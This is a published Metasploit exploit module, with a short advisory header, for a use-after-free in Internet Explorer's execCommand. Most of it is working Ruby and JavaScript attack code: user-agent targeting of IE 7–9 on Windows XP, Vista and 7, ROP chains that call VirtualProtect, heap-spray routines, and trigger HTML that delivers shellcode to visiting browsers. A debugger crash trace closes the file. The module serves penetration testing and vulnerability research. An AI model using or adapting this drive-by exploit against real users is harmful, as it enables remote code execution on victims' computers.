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Microsoft Internet Explorer execCommand Use-After-Free

Microsoft Internet Explorer execCommand Use-After-Free
Posted Sep 17, 2012
Authored by Eric Romang, sinn3r, juan vazquez, binjo | Site metasploit.com

This Metasploit module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it.

tags | exploit
advisories | OSVDB-85532
MD5 | 377c4b7a481946f0167f08116e969e05

Microsoft Internet Explorer execCommand Use-After-Free

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "9.0",
:javascript => true,
:rank => GoodRanking
})

def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
to a use-after-free condition. Please note that this vulnerability has
been exploited in the wild since Sep 14 2012, and there is currently no official
patch for it.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Some secret ninja
'eromang', # First public discovery
'binjo',
'sinn3r', # Metasploit
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'OSVDB', '85532' ],
[ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],
[ 'URL', 'http://metasploit.com' ]
],
'Payload' =>
{
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fc', 'Random' => true } ]
],
'Privileged' => false,
'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang
'DefaultTarget' => 0))
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[1] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[2] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[3] #IE 7 on Windows Vista
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
return targets[4] #IE 8 on Windows Vista
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
return targets[5] #IE 8 on Windows 7
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
return targets[6] #IE 9 on Windows 7
else
return nil
end
end

def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end

def nop
return make_nops(4).unpack("V")[0].to_i
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
exec_size = code.length
stack_pivot = [
0x77c4e393, # RETN
0x77c4e392, # POP EAX # RETN
0x77c15ed5, # XCHG EAX, ESP # RETN
].pack("V*")
rop =
[
0x77C21891, # POP ESI # RETN
0x0c0c0c04, # ESI
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c, # XCHG EAX,ESI # ADD [EAX], AL # RETN
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
exec_size, # EBX
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")

when :jre
print_status("Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
if t['Random']
stack_pivot = [
0x0c0c0c0c, # 0c0c0c08
0x7c347f98, # RETN
0x7c347f97, # POP EDX # RETN
0x7c348b05 # XCHG EAX, ESP # RET
].pack("V*")
else
stack_pivot = [
0x7c347f98, # RETN
0x7c347f97, # POP EDX # RETN
0x7c348b05 # XCHG EAX, ESP # RET
].pack("V*")
end
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end

code = stack_pivot + rop + code
return code
end

# Spray published by corelanc0d3r
# Exploit writing tutorial part 11 : Heap Spraying Demystified
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
def get_random_spray(t, js_code, js_nops)

spray = <<-JS

function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}

function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset_length = #{t['Offset']};

for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}

JS

return spray
end

def get_spray(t, js_code, js_nops)
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}

var overflow = nops.substring(0, 10);
JS
end


def load_html1(cli, my_target)
p = get_payload(my_target, cli)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

if my_target['Random']
js = get_random_spray(my_target, js_code, js_r_nops)
else
js = get_spray(my_target, js_code, js_nops)
end

js = heaplib(js, {:noobfu => true})

html = <<-EOS
<html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("img");
arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
</script>

<iframe src="#{this_resource}/#{@html2_name}"></iframe>
<script>
#{js}
</script>
</body>
</html>
EOS

return html
end

def load_html2
html = %Q|
<HTML>
<script>
function funcB() {
document.execCommand("selectAll");
};

function funcA() {
document.write("#{Rex::Text.rand_text_alpha(1)}");
parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}

</script>
<body onload='funcB();' onselect='funcA()'>
<div contenteditable='true'>
a
</div>
</body>
</HTML>
|

return html
end

def this_resource
r = get_resource
return ( r == '/') ? '' : r
end

def on_request_uri(cli, request)
print_status request.headers['User-Agent']
agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported, sending a 404: #{agent.to_s}")
send_not_found(cli)
return
end

vprint_status("Requesting: #{request.uri}")

if request.uri =~ /#{@html2_name}/
print_status("Loading #{@html2_name}")
html = load_html2
elsif request.uri =~ /#{@html1_name}/
print_status("Loading #{@html1_name}")
html = load_html1(cli, my_target)
elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/
print_status("Redirecting to #{@html1_name}")
send_redirect(cli, "#{this_resource}/#{@html1_name}")
return
else
send_not_found(cli)
return
end

html = html.gsub(/^\t\t/, '')

send_response(cli, html, {'Content-Type'=>'text/html'})

end

def exploit
@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
super
end

end


=begin
0:008> r
eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08
eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMshtmlEd::Exec+0x134:
637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=????????

0:008> u
mshtml!CMshtmlEd::Exec+0x134:
637d464e 8b07 mov eax,dword ptr [edi]
637d4650 57 push edi
637d4651 ff5008 call dword ptr [eax+8]

0:008> k
ChildEBP RetAddr
020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134
020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6
020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91
020bc298 638ee2a9 mshtml!CDocument::Exec+0x24
020bc2c0 638b167b mshtml!CBase::execCommand+0x50
020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93
020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1
020bc410 63643832 mshtml!CBase::InvokeEx+0x25
020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b
020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1
020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20
020bc520 633a6d37 mshtml!PlainInvokeEx+0xea
020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98
020bc690 633a77ff jscript!VAR::InvokeByName+0x135
020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce
020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989
=end

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